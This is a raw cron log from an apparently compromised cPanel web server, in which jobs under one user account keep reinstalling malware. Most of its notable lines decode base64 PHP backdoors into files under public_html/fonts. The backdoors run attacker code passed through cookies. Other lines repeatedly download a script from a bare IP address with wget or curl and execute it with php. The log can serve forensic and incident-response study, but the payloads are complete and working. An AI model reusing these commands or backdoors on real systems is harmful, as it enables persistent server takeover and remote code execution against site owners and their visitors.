Sep 11 18:50:01 ip-184-168-122-23 CROND[19868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:50:01 ip-184-168-122-23 CROND[19872]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 18:50:01 ip-184-168-122-23 CROND[19867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:50:01 ip-184-168-122-23 CROND[19869]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:50:01 ip-184-168-122-23 CROND[19870]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 18:51:01 ip-184-168-122-23 CROND[19969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:51:01 ip-184-168-122-23 CROND[19970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:51:01 ip-184-168-122-23 CROND[19972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:51:01 ip-184-168-122-23 CROND[19973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:52:01 ip-184-168-122-23 CROND[20079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:52:01 ip-184-168-122-23 CROND[20083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:52:01 ip-184-168-122-23 CROND[20082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:52:01 ip-184-168-122-23 CROND[20081]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:52:01 ip-184-168-122-23 CROND[20084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:53:01 ip-184-168-122-23 CROND[20180]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:53:01 ip-184-168-122-23 CROND[20182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:53:01 ip-184-168-122-23 CROND[20183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:53:01 ip-184-168-122-23 CROND[20184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:54:01 ip-184-168-122-23 CROND[20353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:54:01 ip-184-168-122-23 CROND[20355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:54:01 ip-184-168-122-23 CROND[20358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:54:01 ip-184-168-122-23 CROND[20357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:54:01 ip-184-168-122-23 CROND[20356]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:55:02 ip-184-168-122-23 CROND[20448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:55:02 ip-184-168-122-23 CROND[20453]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:55:02 ip-184-168-122-23 CROND[20454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:55:02 ip-184-168-122-23 CROND[20450]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:55:02 ip-184-168-122-23 CROND[20452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:55:02 ip-184-168-122-23 CROND[20451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:56:01 ip-184-168-122-23 CROND[20554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:56:01 ip-184-168-122-23 CROND[20556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:56:01 ip-184-168-122-23 CROND[20557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:56:01 ip-184-168-122-23 CROND[20558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:56:01 ip-184-168-122-23 CROND[20559]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:57:02 ip-184-168-122-23 CROND[20646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:57:02 ip-184-168-122-23 CROND[20644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:57:02 ip-184-168-122-23 CROND[20645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:57:02 ip-184-168-122-23 CROND[20647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:58:01 ip-184-168-122-23 CROND[20739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:58:01 ip-184-168-122-23 CROND[20743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:58:01 ip-184-168-122-23 CROND[20741]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:58:01 ip-184-168-122-23 CROND[20742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:58:01 ip-184-168-122-23 CROND[20744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:59:01 ip-184-168-122-23 CROND[20929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:59:01 ip-184-168-122-23 CROND[20931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:59:01 ip-184-168-122-23 CROND[20933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:59:01 ip-184-168-122-23 CROND[20936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:00:01 ip-184-168-122-23 CROND[21029]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 19:00:01 ip-184-168-122-23 CROND[21032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:00:01 ip-184-168-122-23 CROND[21033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:00:01 ip-184-168-122-23 CROND[21035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:00:01 ip-184-168-122-23 CROND[21038]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:00:01 ip-184-168-122-23 CROND[21040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:00:01 ip-184-168-122-23 CROND[21041]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:00:01 ip-184-168-122-23 CROND[21042]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:01:01 ip-184-168-122-23 CROND[21139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:01:01 ip-184-168-122-23 CROND[21140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:01:01 ip-184-168-122-23 CROND[21138]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 19:01:01 ip-184-168-122-23 CROND[21143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:01:01 ip-184-168-122-23 CROND[21142]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 19:01:01 ip-184-168-122-23 CROND[21145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21138]: starting 0anacron
Sep 11 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21160]: finished 0anacron
Sep 11 19:02:01 ip-184-168-122-23 CROND[21245]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:02:01 ip-184-168-122-23 CROND[21244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
